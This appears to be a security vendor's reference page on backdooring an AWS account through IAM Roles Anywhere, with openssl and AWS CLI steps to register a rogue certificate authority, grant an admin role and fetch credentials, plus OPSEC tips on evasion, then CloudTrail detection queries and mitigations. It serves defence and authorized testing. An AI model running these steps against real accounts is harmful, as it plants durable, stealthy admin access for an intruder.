1. Resources
  2. Identity Threats
  3. AWS

AWS IAM Roles Anywhere Persistence

Also known as: Roles Anywhere backdoor, Rogue trust anchor, Certificate-based AWS persistence, IAM Roles Anywhere abuse

An attacker with IAM write access registers their own certificate authority as an IAM Roles Anywhere trust anchor, so that a certificate they issue obtains role sessions from outside AWS.

Platform
AWS
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Tier 0 or tenant admin
rolesanywhere:CreateTrustAnchor and rolesanywhere:CreateProfile, plus iam:UpdateAssumeRolePolicy or iam:CreateRole so that a role trusts rolesanywhere.amazonaws.com.
What the attacker gains
Temporary credentials for the listed roles on demand, from any host that holds an attacker-issued certificate. No IAM user or access key exists in the account.

How it works

IAM Roles Anywhere lets a workload outside AWS trade an X.509 certificate for temporary role credentials. Three objects decide who gets them:

  • Trust anchor. A reference to a certificate authority (CA): an uploaded CA certificate or an AWS Private CA. Certificates issued by that CA can authenticate.
  • Profile. The list of IAM roles that Roles Anywhere may assume for an authenticated certificate, with an optional session policy and session duration.
  • Role trust policy. Each role must trust the service principal rolesanywhere.amazonaws.com for sts:AssumeRole, sts:TagSession and sts:SetSourceIdentity.

The caller signs a CreateSession request with the certificate's private key. Roles Anywhere checks that the certificate chains to a trust anchor in the account, assumes the requested role and returns an access key ID, a secret access key and a session token.

The service matches certificates to roles only through conditions in the role's trust policy. Roles Anywhere copies the certificate's subject, issuer and subject alternative name fields into session tags such as aws:PrincipalTag/x509Subject/CN, and aws:SourceArn carries the trust anchor's ARN. A trust policy without those conditions accepts any certificate from any trust anchor in the account.

That gives an attacker with IAM write access a clean backdoor: register a CA they control, list a privileged role in a profile, and make the role trust the service. From then on, every certificate their CA issues is a credential for the account. Smaller variants reach the same place with fewer changes:

  • Profile widened. A privileged role is added to an existing profile, for an attacker who already holds a certificate from the organization's real CA.
  • Trust anchor source replaced. UpdateTrustAnchor points an existing, already trusted anchor at a different CA certificate.
  • Unconditioned role. A role already trusts rolesanywhere.amazonaws.com with no aws:SourceArn condition, so any new trust anchor in the account can reach it.

Prerequisites

  • rolesanywhere:CreateTrustAnchor and rolesanywhere:CreateProfile in the target account, in any Region where the service is available.
  • A role to reach: iam:UpdateAssumeRolePolicy on an existing role, or iam:CreateRole and a policy attachment for a new one. Neither is needed when a privileged role already trusts the Roles Anywhere service principal without conditions.
  • A CA certificate and key the attacker generated. AWS requires the trust anchor certificate to be X.509v3 with basic constraints CA: true, a key usage that includes certificate signing, and a SHA-256 or stronger signature.
  • An end-entity certificate from that CA: X.509v3, not a CA, key usage including digital signature, SHA-256 or stronger.
  • Outbound HTTPS from the attacker's host to the Roles Anywhere endpoint. No network path into the victim's environment is needed.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Build a certificate authority and a client certificate

# CA certificate that satisfies the trust anchor requirements
openssl req -x509 -newkey rsa:4096 -sha256 -days 3650 -noenc \
    -keyout ca.key -out ca.pem -subj "/CN=Corp Infrastructure CA" \
    -addext "basicConstraints=critical,CA:TRUE" \
    -addext "keyUsage=critical,keyCertSign,cRLSign"

# End-entity key and signing request
openssl req -new -newkey rsa:2048 -noenc \
    -keyout client.key -out client.csr -subj "/CN=backup-agent01"

# Extensions for the end-entity certificate
printf 'basicConstraints=CA:FALSE\nkeyUsage=critical,digitalSignature\n' > client.ext

openssl x509 -req -in client.csr -CA ca.pem -CAkey ca.key -CAcreateserial \
    -out client.pem -days 825 -sha256 -extfile client.ext

2. Register the trust anchor and a profile

aws rolesanywhere create-trust-anchor \
    --name infra-ca \
    --source "sourceType=CERTIFICATE_BUNDLE,sourceData={x509CertificateData=$(cat ca.pem)}" \
    --enabled \
    --region eu-north-1

aws rolesanywhere create-profile \
    --name backup-agents \
    --role-arns arn:aws:iam::111122223333:role/OrganizationAdmin \
    --duration-seconds 43200 \
    --enabled \
    --region eu-north-1

Both objects are regional. --enabled makes the anchor and the profile usable at once. The profile's session duration defaults to 3,600 seconds and accepts values from 900 to 43,200 seconds (12 hours).

3. Make the role trust Roles Anywhere

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": { "Service": "rolesanywhere.amazonaws.com" },
      "Action": ["sts:AssumeRole", "sts:TagSession", "sts:SetSourceIdentity"],
      "Condition": {
        "ArnEquals": {
          "aws:SourceArn": "arn:aws:rolesanywhere:eu-north-1:111122223333:trust-anchor/00000000-0000-0000-0000-000000000000"
        }
      }
    }
  ]
}
# The document replaces the whole trust policy, so keep the existing statements in it
aws iam update-assume-role-policy \
    --role-name OrganizationAdmin \
    --policy-document file://trust.json

The trust policy edit is the same change described in role trust policy backdoor.

4. Get credentials from outside

AWS publishes a credential helper that signs the request and returns credentials in the format the AWS CLI and SDKs expect from a credential_process:

./aws_signing_helper credential-process \
    --certificate client.pem \
    --private-key client.key \
    --trust-anchor-arn arn:aws:rolesanywhere:eu-north-1:111122223333:trust-anchor/00000000-0000-0000-0000-000000000000 \
    --profile-arn arn:aws:rolesanywhere:eu-north-1:111122223333:profile/00000000-0000-0000-0000-000000000000 \
    --role-arn arn:aws:iam::111122223333:role/OrganizationAdmin

To use it for every command, reference the helper from a profile in ~/.aws/config:

[profile ra]
credential_process = ./aws_signing_helper credential-process --certificate client.pem --private-key client.key --trust-anchor-arn <trust anchor ARN> --profile-arn <profile ARN> --role-arn <role ARN>
aws sts get-caller-identity --profile ra

Impact

The attacker holds a durable way to become the listed roles. Each session is short-lived, but a new one is a single request away, and the attacker can issue as many client certificates as they want without touching AWS again.

Nothing in the usual credential hygiene removes it. There is no IAM user to disable and no access key to rotate, and the private keys never existed inside the account. If the profile lists an administrator role, the backdoor is full control of the account, and of the organization when the account is the management account.

OPSEC and artifacts

  • A quiet Region. Trust anchors and profiles are regional, so operators create them in a Region the organization does not use. CreateTrustAnchor and CreateProfile are still CloudTrail management events in that Region, and the objects are listed by aws rolesanywhere list-trust-anchors and list-profiles there.
  • Believable names. A CA called Corp Infrastructure CA and a profile called backup-agents look like platform work. The uploaded CA certificate is stored in the trust anchor and can be compared with the organization's real PKI.
  • Changing instead of creating. Adding a role to an existing profile or swapping an anchor's source avoids new objects. UpdateProfile and UpdateTrustAnchor record the change, and EnableTrustAnchor records an anchor that was created disabled and switched on later.
  • The trust policy edit cannot be hidden. UpdateAssumeRolePolicy carries the new document, and the role keeps a statement naming rolesanywhere.amazonaws.com.
  • Every use is logged. CreateSession is recorded under rolesanywhere.amazonaws.com with the certificate, the profile ARN and the role ARN in the request, and the assumed role ARN in the response. The role session name is the hex-encoded serial number of the certificate, and the session's source identity is the common name from the certificate's subject.
  • Attacker-chosen identity. The common name and serial number come from a certificate the attacker made, so they can imitate a real server's name. The trust anchor ARN in the record still points at the rogue CA.

Detection

  • New or changed trust anchor or profile. These calls belong to rare, planned platform work. The Roles Anywhere detection rules cover creation, update, enablement and certificate revocation list changes. An account that does not use the service should alert on any event from rolesanywhere.amazonaws.com.
  • Role begins to trust the service. A trust policy that gains the rolesanywhere.amazonaws.com principal, or loses its aws:SourceArn condition. See the role trust policy rules.
  • Sessions from certificates. CreateSession for a privileged role, from a source address outside the organization's data centers, or with a certificate subject that is not in the server inventory.
  • Activity by serial number. Calls made with the vended credentials have a role session name equal to the certificate serial number, which ties resource activity back to one certificate.
-- Athena, CloudTrail table: Roles Anywhere configuration changes and credential issuance
SELECT eventtime, awsregion, eventname, useridentity.arn AS caller, sourceipaddress,
       json_extract_scalar(requestparameters, '$.roleArn') AS role_arn,
       json_extract_scalar(requestparameters, '$.profileArn') AS profile_arn,
       errorcode
FROM cloudtrail_logs
WHERE eventsource = 'rolesanywhere.amazonaws.com'
  AND eventname IN ('CreateTrustAnchor', 'UpdateTrustAnchor', 'EnableTrustAnchor',
                    'CreateProfile', 'UpdateProfile', 'EnableProfile', 'CreateSession')
ORDER BY eventtime

Query every Region, not only the ones in use. A trust anchor record shows that access was made possible; CreateSession shows that credentials were issued.

Mitigation

  • Deny the service where it is not used. A service control policy that denies rolesanywhere:* in accounts with no outside workloads removes the path, including in unused Regions.
  • Restrict who can manage it elsewhere. Limit rolesanywhere:CreateTrustAnchor, UpdateTrustAnchor, CreateProfile and UpdateProfile to a named platform role, together with iam:UpdateAssumeRolePolicy on privileged roles.
  • Condition every trusting role. Require aws:SourceArn for the approved trust anchor and a certificate attribute such as aws:PrincipalTag/x509Subject/CN in each trust policy that names the service principal. A role without them accepts any anchor in the account.
  • Use profiles to shrink sessions. A session policy on the profile bounds what vended credentials can do, and a short session duration limits each session.
  • Inventory the objects in all Regions. List trust anchors and profiles on a schedule and compare the CA certificates with the organization's PKI. Never list administrator roles in a profile.
  • After an incident, disable or delete the trust anchor and profile, remove the trust statement from the role, and revoke the role's active sessions. Sessions already issued stay valid until they expire.

Detection rules for this attack

Log events to collect

FAQ

What is IAM Roles Anywhere used for legitimately?

It lets servers, containers and applications outside AWS exchange an X.509 certificate for temporary credentials of an IAM role, so they don't need long-term access keys. A trust anchor names the certificate authority, a profile lists the roles, and each role's trust policy must trust the rolesanywhere.amazonaws.com service principal.

Why does an attacker choose it over creating an access key?

An access key belongs to an IAM user and shows up in credential reports and key inventories. A Roles Anywhere backdoor adds no user and no key. The secret is a private key and certificate on the attacker's machine, and they can issue new certificates from their own CA whenever they like.

Is a trust anchor alone enough for access?

No. Three things must line up: an enabled trust anchor for the attacker's CA, an enabled profile that lists the role, and a trust policy on the role that allows the Roles Anywhere service principal. A trust anchor with no profile and no trusting role is exposure waiting for the other two.

How do you detect the backdoor being used?

CloudTrail records CreateSession under the event source rolesanywhere.amazonaws.com in the Region of the trust anchor, with the certificate, the profile ARN and the role ARN. The role session name is the certificate's serial number, and later calls carry the certificate's common name as source identity.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.